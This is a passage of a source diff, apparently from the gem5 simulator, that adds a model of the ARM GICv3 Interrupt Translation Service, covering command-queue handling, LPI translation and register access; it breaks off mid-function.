a/src/dev/arm/gic_v3.cc b/src/dev/arm/gic_v3.cc\nindex 9004f656f..6f4312b03 100644\n--- a/src/dev/arm/gic_v3.cc\n+++ b/src/dev/arm/gic_v3.cc\n@@ -35,6 +35,7 @@\n #include \"debug/Interrupt.hh\"\n #include \"dev/arm/gic_v3_cpu_interface.hh\"\n #include \"dev/arm/gic_v3_distributor.hh\"\n+#include \"dev/arm/gic_v3_its.hh\"\n #include \"dev/arm/gic_v3_redistributor.hh\"\n #include \"dev/platform.hh\"\n #include \"mem/packet.hh\"\n@@ -78,6 +79,8 @@ Gicv3::init()\n cpuInterfaces[i]->init();\n }\n \n+ params()->its->setGIC(this);\n+\n BaseGic::init();\n }\n \ndiff --git a/src/dev/arm/gic_v3.hh b/src/dev/arm/gic_v3.hh\nindex 5a13a7479..7dab5a2fb 100644\n--- a/src/dev/arm/gic_v3.hh\n+++ b/src/dev/arm/gic_v3.hh\n@@ -37,6 +37,7 @@\n class Gicv3CPUInterface;\n class Gicv3Distributor;\n class Gicv3Redistributor;\n+class Gicv3Its;\n \n class Gicv3 : public BaseGic\n {\n@@ -48,6 +49,7 @@ class Gicv3 : public BaseGic\n Gicv3Distributor * distributor;\n std::vector redistributors;\n std::vector cpuInterfaces;\n+ Gicv3Its * its;\n AddrRange distRange;\n AddrRange redistRange;\n AddrRangeList addrRanges;\ndiff --git a/src/dev/arm/gic_v3_its.cc b/src/dev/arm/gic_v3_its.cc\nnew file mode 100644\nindex 000000000..f3fa0a50e\n--- /dev/null\n+++ b/src/dev/arm/gic_v3_its.cc\n@@ -0,0 +1,1213 @@\n+/*\n+ * Copyright (c) 2019 ARM Limited\n+ * All rights reserved\n+ *\n+ * The license below extends only to copyright in the software and shall\n+ * not be construed as granting a license to any other intellectual\n+ * property including but not limited to intellectual property relating\n+ * to a hardware implementation of the functionality of the software\n+ * licensed hereunder. You may use the software subject to the license\n+ * terms below provided that you ensure that this notice is replicated\n+ * unmodified and in its entirety in all distributions of the software,\n+ * modified or unmodified, in source code or in binary form.\n+ *\n+ * Redistribution and use in source and binary forms, with or without\n+ * modification, are permitted provided that the following conditions are\n+ * met: redistributions of source code must retain the above copyright\n+ * notice, this list of conditions and the following disclaimer;\n+ * redistributions in binary form must reproduce the above copyright\n+ * notice, this list of conditions and the following disclaimer in the\n+ * documentation and/or other materials provided with the distribution;\n+ * neither the name of the copyright holders nor the names of its\n+ * contributors may be used to endorse or promote products derived from\n+ * this software without specific prior written permission.\n+ *\n+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n+ * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n+ * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n+ * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n+ * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n+ *\n+ * Authors: Giacomo Travaglini\n+ */\n+\n+#include \"dev/arm/gic_v3_its.hh\"\n+\n+#include \"debug/AddrRanges.hh\"\n+#include \"debug/Drain.hh\"\n+#include \"debug/GIC.hh\"\n+#include \"debug/ITS.hh\"\n+#include \"dev/arm/gic_v3.hh\"\n+#include \"dev/arm/gic_v3_distributor.hh\"\n+#include \"dev/arm/gic_v3_redistributor.hh\"\n+#include \"mem/packet_access.hh\"\n+\n+#define COMMAND(x, method) { x, DispatchEntry(#x, method) }\n+\n+const AddrRange Gicv3Its::GITS_BASER(0x0100, 0x0138);\n+\n+ItsProcess::ItsProcess(Gicv3Its &_its)\n+ : its(_its), coroutine(nullptr)\n+{\n+}\n+\n+ItsProcess::~ItsProcess()\n+{\n+}\n+\n+void\n+ItsProcess::reinit()\n+{\n+ coroutine.reset(new Coroutine(\n+ std::bind(&ItsProcess::main, this, std::placeholders::_1)));\n+}\n+\n+const std::string\n+ItsProcess::name() const\n+{\n+ return its.name();\n+}\n+\n+ItsAction\n+ItsProcess::run(PacketPtr pkt)\n+{\n+ assert(coroutine != nullptr);\n+ assert(*coroutine);\n+ return (*coroutine)(pkt).get();\n+}\n+\n+void\n+ItsProcess::doRead(Yield &yield, Addr addr, void *ptr, size_t size)\n+{\n+ ItsAction a;\n+ a.type = ItsActionType::SEND_REQ;\n+\n+ RequestPtr req = std::make_shared(\n+ addr, size, 0, its.masterId);\n+\n+ req->taskId(ContextSwitchTaskId::DMA);\n+\n+ a.pkt = new Packet(req, MemCmd::ReadReq);\n+ a.pkt->dataStatic(ptr);\n+\n+ a.delay = 0;\n+\n+ PacketPtr pkt = yield(a).get();\n+\n+ assert(pkt);\n+ assert(pkt->getSize() >= size);\n+\n+ delete pkt;\n+}\n+\n+void\n+ItsProcess::doWrite(Yield &yield, Addr addr, void *ptr, size_t size)\n+{\n+ ItsAction a;\n+ a.type = ItsActionType::SEND_REQ;\n+\n+ RequestPtr req = std::make_shared(\n+ addr, size, 0, its.masterId);\n+\n+ req->taskId(ContextSwitchTaskId::DMA);\n+\n+ a.pkt = new Packet(req, MemCmd::WriteReq);\n+ a.pkt->dataStatic(ptr);\n+\n+ a.delay = 0;\n+\n+ PacketPtr pkt = yield(a).get();\n+\n+ assert(pkt);\n+ assert(pkt->getSize() >= size);\n+\n+ delete pkt;\n+}\n+\n+void\n+ItsProcess::terminate(Yield &yield)\n+{\n+ ItsAction a;\n+ a.type = ItsActionType::TERMINATE;\n+ a.pkt = NULL;\n+ a.delay = 0;\n+ yield(a);\n+}\n+\n+void\n+ItsProcess::writeDeviceTable(Yield &yield, uint32_t device_id, DTE dte)\n+{\n+ const Addr base = its.pageAddress(Gicv3Its::DEVICE_TABLE);\n+ const Addr address = base + device_id;\n+\n+ DPRINTF(ITS, \"Writing DTE at address %#x: %#x\\n\", address, dte);\n+\n+ doWrite(yield, address, &dte, sizeof(dte));\n+}\n+\n+void\n+ItsProcess::writeIrqTranslationTable(\n+ Yield &yield, const Addr itt_base, uint32_t event_id, ITTE itte)\n+{\n+ const Addr address = itt_base + event_id;\n+\n+ doWrite(yield, address, &itte, sizeof(itte));\n+\n+ DPRINTF(ITS, \"Writing ITTE at address %#x: %#x\\n\", address, itte);\n+}\n+\n+void\n+ItsProcess::writeIrqCollectionTable(\n+ Yield &yield, uint32_t collection_id, CTE cte)\n+{\n+ const Addr base = its.pageAddress(Gicv3Its::COLLECTION_TABLE);\n+ const Addr address = base + collection_id;\n+\n+ doWrite(yield, address, &cte, sizeof(cte));\n+\n+ DPRINTF(ITS, \"Writing CTE at address %#x: %#x\\n\", address, cte);\n+}\n+\n+uint64_t\n+ItsProcess::readDeviceTable(Yield &yield, uint32_t device_id)\n+{\n+ const Addr base = its.pageAddress(Gicv3Its::DEVICE_TABLE);\n+ const Addr address = base + device_id;\n+\n+ uint64_t dte;\n+ doRead(yield, address, &dte, sizeof(dte));\n+\n+ DPRINTF(ITS, \"Reading DTE at address %#x: %#x\\n\", address, dte);\n+ return dte;\n+}\n+\n+uint64_t\n+ItsProcess::readIrqTranslationTable(\n+ Yield &yield, const Addr itt_base, uint32_t event_id)\n+{\n+ const Addr address = itt_base + event_id;\n+\n+ uint64_t itte;\n+ doRead(yield, address, &itte, sizeof(itte));\n+\n+ DPRINTF(ITS, \"Reading ITTE at address %#x: %#x\\n\", address, itte);\n+ return itte;\n+}\n+\n+uint64_t\n+ItsProcess::readIrqCollectionTable(Yield &yield, uint32_t collection_id)\n+{\n+ const Addr base = its.pageAddress(Gicv3Its::COLLECTION_TABLE);\n+ const Addr address = base + collection_id;\n+\n+ uint64_t cte;\n+ doRead(yield, address, &cte, sizeof(cte));\n+\n+ DPRINTF(ITS, \"Reading CTE at address %#x: %#x\\n\", address, cte);\n+ return cte;\n+}\n+\n+ItsTranslation::ItsTranslation(Gicv3Its &_its)\n+ : ItsProcess(_its)\n+{\n+ reinit();\n+ its.pendingTranslations++;\n+}\n+\n+ItsTranslation::~ItsTranslation()\n+{\n+ assert(its.pendingTranslations >= 1);\n+ its.pendingTranslations--;\n+}\n+\n+void\n+ItsTranslation::main(Yield &yield)\n+{\n+ PacketPtr pkt = yield.get();\n+\n+ const uint32_t device_id = pkt->req->streamId();\n+ const uint32_t event_id = pkt->getLE();\n+\n+ auto result = translateLPI(yield, device_id, event_id);\n+\n+ uint32_t intid = result.first;\n+ Gicv3Redistributor *redist = result.second;\n+\n+ // Set the LPI in the redistributor\n+ redist->setClrLPI(intid, true);\n+\n+ // Update the value in GITS_TRANSLATER only once we know\n+ // there was no error in the tranlation process (before\n+ // terminating the translation\n+ its.gitsTranslater = event_id;\n+\n+ terminate(yield);\n+}\n+\n+std::pair\n+ItsTranslation::translateLPI(Yield &yield, uint32_t device_id,\n+ uint32_t event_id)\n+{\n+ if (its.deviceOutOfRange(device_id)) {\n+ terminate(yield);\n+ }\n+\n+ DTE dte = readDeviceTable(yield, device_id);\n+\n+ if (!dte.valid || its.idOutOfRange(event_id, dte.ittRange)) {\n+ terminate(yield);\n+ }\n+\n+ ITTE itte = readIrqTranslationTable(yield, dte.ittAddress, event_id);\n+ const auto collection_id = itte.icid;\n+\n+ if (!itte.valid || its.collectionOutOfRange(collection_id)) {\n+ terminate(yield);\n+ }\n+\n+ CTE cte = readIrqCollectionTable(yield, collection_id);\n+\n+ if (!cte.valid) {\n+ terminate(yield);\n+ }\n+\n+ // Returning the INTID and the target Redistributor\n+ return std::make_pair(itte.intNum, its.getRedistributor(cte));\n+}\n+\n+ItsCommand::DispatchTable ItsCommand::cmdDispatcher =\n+{\n+ COMMAND(CLEAR, &ItsCommand::clear),\n+ COMMAND(DISCARD, &ItsCommand::discard),\n+ COMMAND(INT, &ItsCommand::doInt),\n+ COMMAND(INV, &ItsCommand::inv),\n+ COMMAND(INVALL, &ItsCommand::invall),\n+ COMMAND(MAPC, &ItsCommand::mapc),\n+ COMMAND(MAPD, &ItsCommand::mapd),\n+ COMMAND(MAPI, &ItsCommand::mapi),\n+ COMMAND(MAPTI, &ItsCommand::mapti),\n+ COMMAND(MOVALL, &ItsCommand::movall),\n+ COMMAND(MOVI, &ItsCommand::movi),\n+ COMMAND(SYNC, &ItsCommand::sync),\n+ COMMAND(VINVALL, &ItsCommand::vinvall),\n+ COMMAND(VMAPI, &ItsCommand::vmapi),\n+ COMMAND(VMAPP, &ItsCommand::vmapp),\n+ COMMAND(VMAPTI, &ItsCommand::vmapti),\n+ COMMAND(VMOVI, &ItsCommand::vmovi),\n+ COMMAND(VMOVP, &ItsCommand::vmovp),\n+ COMMAND(VSYNC, &ItsCommand::vsync),\n+};\n+\n+ItsCommand::ItsCommand(Gicv3Its &_its)\n+ : ItsProcess(_its)\n+{\n+ reinit();\n+ its.pendingCommands = true;\n+}\n+\n+ItsCommand::~ItsCommand()\n+{\n+ its.pendingCommands = false;\n+}\n+\n+std::string\n+ItsCommand::commandName(uint32_t cmd)\n+{\n+ const auto entry = cmdDispatcher.find(cmd);\n+ return entry != cmdDispatcher.end() ? entry->second.name : \"INVALID\";\n+}\n+\n+void\n+ItsCommand::main(Yield &yield)\n+{\n+ ItsAction a;\n+ a.type = ItsActionType::INITIAL_NOP;\n+ a.pkt = nullptr;\n+ a.delay = 0;\n+ yield(a);\n+\n+ while (its.gitsCwriter.offset != its.gitsCreadr.offset) {\n+ CommandEntry command;\n+\n+ // Reading the command from CMDQ\n+ readCommand(yield, command);\n+\n+ processCommand(yield, command);\n+\n+ its.incrementReadPointer();\n+ }\n+\n+ terminate(yield);\n+}\n+\n+void\n+ItsCommand::readCommand(Yield &yield, CommandEntry &command)\n+{\n+ // read the command pointed by GITS_CREADR\n+ const Addr cmd_addr =\n+ (its.gitsCbaser.physAddr << 12) + (its.gitsCreadr.offset << 5);\n+\n+ doRead(yield, cmd_addr, &command, sizeof(command));\n+\n+ DPRINTF(ITS, \"Command %s read from queue at address: %#x\\n\",\n+ commandName(command.type), cmd_addr);\n+ DPRINTF(ITS, \"dw0: %#x dw1: %#x dw2: %#x dw3: %#x\\n\",\n+ command.raw[0], command.raw[1], command.raw[2], command.raw[3]);\n+}\n+\n+void\n+ItsCommand::processCommand(Yield &yield, CommandEntry &command)\n+{\n+ const auto entry = cmdDispatcher.find(command.type);\n+\n+ if (entry != cmdDispatcher.end()) {\n+ // Execute the command\n+ entry->second.exec(this, yield, command);\n+ } else {\n+ panic(\"Unrecognized command type: %u\", command.type);\n+ }\n+}\n+\n+void\n+ItsCommand::clear(Yield &yield, CommandEntry &command)\n+{\n+ if (deviceOutOfRange(command)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ DTE dte = readDeviceTable(yield, command.deviceId);\n+\n+ if (!dte.valid || idOutOfRange(command, dte)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ ITTE itte = readIrqTranslationTable(\n+ yield, dte.ittAddress, command.eventId);\n+\n+ if (!itte.valid) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ const auto collection_id = itte.icid;\n+ CTE cte = readIrqCollectionTable(yield, collection_id);\n+\n+ if (!cte.valid) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ // Clear the LPI in the redistributor\n+ its.getRedistributor(cte)->setClrLPI(itte.intNum, false);\n+}\n+\n+void\n+ItsCommand::discard(Yield &yield, CommandEntry &command)\n+{\n+ if (deviceOutOfRange(command)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ DTE dte = readDeviceTable(yield, command.deviceId);\n+\n+ if (!dte.valid || idOutOfRange(command, dte)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ ITTE itte = readIrqTranslationTable(\n+ yield, dte.ittAddress, command.eventId);\n+\n+ if (!itte.valid) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ const auto collection_id = itte.icid;\n+ Gicv3Its::CTE cte = readIrqCollectionTable(yield, collection_id);\n+\n+ if (!cte.valid) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ its.getRedistributor(cte)->setClrLPI(itte.intNum, false);\n+\n+ // Then removes the mapping from the ITT (invalidating)\n+ itte.valid = 0;\n+ writeIrqTranslationTable(\n+ yield, dte.ittAddress, command.eventId, itte);\n+}\n+\n+void\n+ItsCommand::doInt(Yield &yield, CommandEntry &command)\n+{\n+ if (deviceOutOfRange(command)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ DTE dte = readDeviceTable(yield, command.deviceId);\n+\n+ if (!dte.valid || idOutOfRange(command, dte)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ ITTE itte = readIrqTranslationTable(\n+ yield, dte.ittAddress, command.eventId);\n+\n+ if (!itte.valid) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ const auto collection_id = itte.icid;\n+ CTE cte = readIrqCollectionTable(yield, collection_id);\n+\n+ if (!cte.valid) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ // Set the LPI in the redistributor\n+ its.getRedistributor(cte)->setClrLPI(itte.intNum, true);\n+}\n+\n+void\n+ItsCommand::inv(Yield &yield, CommandEntry &command)\n+{\n+ if (deviceOutOfRange(command)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ DTE dte = readDeviceTable(yield, command.deviceId);\n+\n+ if (!dte.valid || idOutOfRange(command, dte)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ ITTE itte = readIrqTranslationTable(\n+ yield, dte.ittAddress, command.eventId);\n+\n+ if (!itte.valid) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ const auto collection_id = itte.icid;\n+ CTE cte = readIrqCollectionTable(yield, collection_id);\n+\n+ if (!cte.valid) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+ // Do nothing since caching is currently not supported in\n+ // Redistributor\n+}\n+\n+void\n+ItsCommand::invall(Yield &yield, CommandEntry &command)\n+{\n+ if (collectionOutOfRange(command)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ const auto icid = bits(command.raw[2], 15, 0);\n+\n+ CTE cte = readIrqCollectionTable(yield, icid);\n+\n+ if (!cte.valid) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+ // Do nothing since caching is currently not supported in\n+ // Redistributor\n+}\n+\n+void\n+ItsCommand::mapc(Yield &yield, CommandEntry &command)\n+{\n+ if (collectionOutOfRange(command)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ CTE cte = 0;\n+ cte.valid = bits(command.raw[2], 63);\n+ cte.rdBase = bits(command.raw[2], 50, 16);\n+\n+ const auto icid = bits(command.raw[2], 15, 0);\n+\n+ writeIrqCollectionTable(yield, icid, cte);\n+}\n+\n+void\n+ItsCommand::mapd(Yield &yield, CommandEntry &command)\n+{\n+ if (deviceOutOfRange(command) || sizeOutOfRange(command)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ DTE dte = 0;\n+ dte.valid = bits(command.raw[2], 63);\n+ dte.ittAddress = mbits(command.raw[2], 51, 8);\n+ dte.ittRange = bits(command.raw[1], 4, 0);\n+\n+ writeDeviceTable(yield, command.deviceId, dte);\n+}\n+\n+void\n+ItsCommand::mapi(Yield &yield, CommandEntry &command)\n+{\n+ if (deviceOutOfRange(command)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ if (collectionOutOfRange(command)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ DTE dte = readDeviceTable(yield, command.deviceId);\n+\n+ if (!dte.valid || idOutOfRange(command, dte) ||\n+ its.lpiOutOfRange(command.eventId)) {\n+\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ Gicv3Its::ITTE itte = readIrqTranslationTable(\n+ yield, dte.ittAddress, command.eventId);\n+\n+ itte.valid = 1;\n+ itte.intType = Gicv3Its::PHYSICAL_INTERRUPT;\n+ itte.intNum = command.eventId;\n+ itte.icid = bits(command.raw[2], 15, 0);\n+\n+ writeIrqTranslationTable(\n+ yield, dte.ittAddress, command.eventId, itte);\n+}\n+\n+void\n+ItsCommand::mapti(Yield &yield, CommandEntry &command)\n+{\n+ if (deviceOutOfRange(command)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ if (collectionOutOfRange(command)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ DTE dte = readDeviceTable(yield, command.deviceId);\n+\n+ const auto pintid = bits(command.raw[1], 63, 32);\n+\n+ if (!dte.valid || idOutOfRange(command, dte) ||\n+ its.lpiOutOfRange(pintid)) {\n+\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ ITTE itte = readIrqTranslationTable(\n+ yield, dte.ittAddress, command.eventId);\n+\n+ itte.valid = 1;\n+ itte.intType = Gicv3Its::PHYSICAL_INTERRUPT;\n+ itte.intNum = pintid;\n+ itte.icid = bits(command.raw[2], 15, 0);\n+\n+ writeIrqTranslationTable(\n+ yield, dte.ittAddress, command.eventId, itte);\n+}\n+\n+void\n+ItsCommand::movall(Yield &yield, CommandEntry &command)\n+{\n+ const uint64_t rd1 = bits(command.raw[2], 50, 16);\n+ const uint64_t rd2 = bits(command.raw[3], 50, 16);\n+\n+ if (rd1 != rd2) {\n+ Gicv3Redistributor * redist1 = its.getRedistributor(rd1);\n+ Gicv3Redistributor * redist2 = its.getRedistributor(rd2);\n+\n+ its.moveAllPendingState(redist1, redist2);\n+ }\n+}\n+\n+void\n+ItsCommand::movi(Yield &yield, CommandEntry &command)\n+{\n+ if (deviceOutOfRange(command)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ if (collectionOutOfRange(command)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ DTE dte = readDeviceTable(yield, command.deviceId);\n+\n+ if (!dte.valid || idOutOfRange(command, dte)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ ITTE itte = readIrqTranslationTable(\n+ yield, dte.ittAddress, command.eventId);\n+\n+ if (!itte.valid || itte.intType == Gicv3Its::VIRTUAL_INTERRUPT) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ const auto collection_id1 = itte.icid;\n+ CTE cte1 = readIrqCollectionTable(yield, collection_id1);\n+\n+ if (!cte1.valid) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ const auto collection_id2 = bits(command.raw[2], 15, 0);\n+ CTE cte2 = readIrqCollectionTable(yield, collection_id2);\n+\n+ if (!cte2.valid) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ Gicv3Redistributor *first_redist = its.getRedistributor(cte1);\n+ Gicv3Redistributor *second_redist = its.getRedistributor(cte2);\n+\n+ if (second_redist != first_redist) {\n+ // move pending state of the interrupt from one redistributor\n+ // to the other.\n+ if (first_redist->isPendingLPI(itte.intNum)) {\n+ first_redist->setClrLPI(itte.intNum, false);\n+ second_redist->setClrLPI(itte.intNum, true);\n+ }\n+ }\n+\n+ itte.icid = collection_id2;\n+ writeIrqTranslationTable(\n+ yield, dte.ittAddress, command.eventId, itte);\n+}\n+\n+void\n+ItsCommand::sync(Yield &yield, CommandEntry &command)\n+{\n+ warn(\"ITS %s command unimplemented\", __func__);\n+}\n+\n+void\n+ItsCommand::vinvall(Yield &yield, CommandEntry &command)\n+{\n+ panic(\"ITS %s command unimplemented\", __func__);\n+}\n+\n+void\n+ItsCommand::vmapi(Yield &yield, CommandEntry &command)\n+{\n+ panic(\"ITS %s command unimplemented\", __func__);\n+}\n+\n+void\n+ItsCommand::vmapp(Yield &yield, CommandEntry &command)\n+{\n+ panic(\"ITS %s command unimplemented\", __func__);\n+}\n+\n+void\n+ItsCommand::vmapti(Yield &yield, CommandEntry &command)\n+{\n+ panic(\"ITS %s command unimplemented\", __func__);\n+}\n+\n+void\n+ItsCommand::vmovi(Yield &yield, CommandEntry &command)\n+{\n+ panic(\"ITS %s command unimplemented\", __func__);\n+}\n+\n+void\n+ItsCommand::vmovp(Yield &yield, CommandEntry &command)\n+{\n+ panic(\"ITS %s command unimplemented\", __func__);\n+}\n+\n+void\n+ItsCommand::vsync(Yield &yield, CommandEntry &command)\n+{\n+ panic(\"ITS %s command unimplemented\", __func__);\n+}\n+\n+Gicv3Its::Gicv3Its(const Gicv3ItsParams *params)\n+ : BasicPioDevice(params, params->pio_size),\n+ dmaPort(name() + \".dma\", *this),\n+ gitsControl(0x1),\n+ gitsTyper(params->gits_typer),\n+ gitsCbaser(0), gitsCreadr(0),\n+ gitsCwriter(0), gitsIidr(0),\n+ masterId(params->system->getMasterId(this)),\n+ gic(nullptr),\n+ commandEvent([this] { checkCommandQueue(); }, name()),\n+ pendingCommands(false),\n+ pendingTranslations(0)\n+{\n+ for (auto idx = 0; idx < NUM_BASER_REGS; idx++) {\n+ BASER gits_baser = 0;\n+ gits_baser.type = idx;\n+ gits_baser.entrySize = sizeof(uint64_t) - 1;\n+ tableBases.push_back(gits_baser);\n+ }\n+}\n+\n+void\n+Gicv3Its::setGIC(Gicv3 *_gic)\n+{\n+ assert(!gic);\n+ gic = _gic;\n+}\n+\n+AddrRangeList\n+Gicv3Its::getAddrRanges() const\n+{\n+ assert(pioSize != 0);\n+ AddrRangeList ranges;\n+ DPRINTF(AddrRanges, \"registering range: %#x-%#x\\n\", pioAddr, pioSize);\n+ ranges.push_back(RangeSize(pioAddr, pioSize));\n+ return ranges;\n+}\n+\n+Tick\n+Gicv3Its::read(PacketPtr pkt)\n+{\n+ const Addr addr = pkt->getAddr() - pioAddr;\n+ uint64_t value = 0;\n+\n+ DPRINTF(GIC, \"%s register at addr: %#x\\n\", __func__, addr);\n+\n+ switch (addr) {\n+ case GITS_CTLR:\n+ value = gitsControl;\n+ break;\n+\n+ case GITS_IIDR:\n+ value = gitsIidr;\n+ break;\n+\n+ case GITS_TYPER:\n+ value = gitsTyper;\n+ break;\n+\n+ case GITS_CBASER:\n+ value = gitsCbaser;\n+ break;\n+\n+ case GITS_CWRITER:\n+ value = gitsCwriter;\n+ break;\n+\n+ case GITS_CREADR:\n+ value = gitsCreadr;\n+ break;\n+\n+ case GITS_TRANSLATER:\n+ value = gitsTranslater;\n+ break;\n+\n+ default:\n+ if (GITS_BASER.contains(addr)) {\n+ auto relative_addr = addr - GITS_BASER.start();\n+ auto baser_index = relative_addr / sizeof(uint64_t);\n+\n+ value = tableBases[baser_index];\n+ break;\n+ } else {\n+ panic(\"Unrecognized register access\\n\");\n+ }\n+ }\n+\n+ pkt->setUintX(value, LittleEndianByteOrder);\n+ pkt->makeAtomicResponse();\n+ return pioDelay;\n+}\n+\n+Tick\n+Gicv3Its::write(PacketPtr pkt)\n+{\n+ Addr addr = pkt->getAddr() - pioAddr;\n+\n+ DPRINTF(GIC, \"%s register at addr: %#x\\n\", __func__, addr);\n+\n+ switch (addr) {\n+ case GITS_CTLR:\n+ assert(pkt->getSize() == sizeof(uint32_t));\n+ gitsControl = pkt->getLE();\n+ break;\n+\n+ case GITS_IIDR:\n+ panic(\"GITS_IIDR is Read Only\\n\");\n+\n+ case GITS_TYPER:\n+ panic(\"GITS_TYPER is Read Only\\n\");\n+\n+ case GITS_CBASER:\n+ assert(pkt->getSize() == sizeof(uint64_t));\n+ gitsCbaser = pkt->getLE();\n+ gitsCreadr = 0; // Cleared when CBASER gets written\n+\n+ checkCommandQueue();\n+ break;\n+\n+ case GITS_CWRITER:\n+ assert(pkt->getSize() == sizeof(uint64_t));\n+ gitsCwriter = pkt->getLE();\n+\n+ checkCommandQueue();\n+ break;\n+\n+ case GITS_CREADR:\n+ panic(\"GITS_READR is Read Only\\n\");\n+\n+ case GITS_TRANSLATER:\n+ if (gitsControl.enabled) {\n+ translate(pkt);\n+ }\n+ break;\n+\n+ default:\n+ if (GITS_BASER.contains(addr)) {\n+ auto relative_addr = addr - GITS_BASER.start();\n+ auto baser_index = relative_addr / sizeof(uint64_t);\n+\n+ BASER val = pkt->getLE();\n+\n+ panic_if(val.indirect,\n+ \"We currently don't support two level ITS tables\");\n+\n+ tableBases[baser_index] = val;\n+ break;\n+ } else {\n+ panic(\"Unrecognized register access\\n\");\n+ }\n+ }\n+\n+ pkt->makeAtomicResponse();\n+ return pioDelay;\n+}\n+\n+bool\n+Gicv3Its::idOutOfRange(uint32_t event_id, uint8_t itt_range) const\n+{\n+ const uint32_t id_bits = gitsTyper.idBits;\n+ return event_id >= (1ULL << (id_bits + 1)) ||\n+ event_id >= ((1ULL << itt_range) + 1);\n+}\n+\n+bool\n+Gicv3Its::deviceOutOfRange(uint32_t device_id) const\n+{\n+ return device_id >= (1ULL << (gitsTyper.devBits + 1));\n+}\n+\n+bool\n+Gicv3Its::sizeOutOfRange(uint32_t size) const\n+{\n+ return size > gitsTyper.idBits;\n+}\n+\n+bool\n+Gicv3Its::collectionOutOfRange(uint32_t collection_id) const\n+{\n+ // If GITS_TYPER.CIL == 0, ITS supports 16-bit CollectionID\n+ // Otherwise, #bits is specified by GITS_TYPER.CIDbits\n+ const auto cid_bits = gitsTyper.cil == 0 ?\n+ 16 : gitsTyper.cidBits + 1;\n+\n+ return collection_id >= (1ULL << cid_bits);\n+}\n+\n+bool\n+Gicv3Its::lpiOutOfRange(uint32_t intid) const\n+{\n+ return intid >= (1ULL << (Gicv3Distributor::IDBITS + 1)) ||\n+ (intid < Gicv3Redistributor::SMALLEST_LPI_ID &&\n+ intid != Gicv3::INTID_SPURIOUS);\n+}\n+\n+DrainState\n+Gicv3Its::drain()\n+{\n+ if (!pendingCommands && !pendingTranslations) {\n+ return DrainState::Drained;\n+ } else {\n+ DPRINTF(Drain, \"GICv3 ITS not drained\\n\");\n+ return DrainState::Draining;\n+ }\n+}\n+\n+void\n+Gicv3Its::serialize(CheckpointOut & cp) const\n+{\n+ SERIALIZE_SCALAR(gitsControl);\n+ SERIALIZE_SCALAR(gitsTyper);\n+ SERIALIZE_SCALAR(gitsCbaser);\n+ SERIALIZE_SCALAR(gitsCreadr);\n+ SERIALIZE_SCALAR(gitsCwriter);\n+ SERIALIZE_SCALAR(gitsIidr);\n+\n+ SERIALIZE_CONTAINER(tableBases);\n+}\n+\n+void\n+Gicv3Its::unserialize(CheckpointIn & cp)\n+{\n+ UNSERIALIZE_SCALAR(gitsControl);\n+ UNSERIALIZE_SCALAR(gitsTyper);\n+ UNSERIALIZE_SCALAR(gitsCbaser);\n+ UNSERIALIZE_SCALAR(gitsCreadr);\n+ UNSERIALIZE_SCALAR(gitsCwriter);\n+ UNSERIALIZE_SCALAR(gitsIidr);\n+\n+ UNSERIALIZE_CONTAINER(tableBases);\n+}\n+\n+void\n+Gicv3Its::incrementReadPointer()\n+{\n+ // Make the reader point to the next element\n+ gitsCreadr.offset = gitsCreadr.offset + 1;\n+\n+ // Check for wrapping\n+ auto queue_end = (4096 * (gitsCbaser.size + 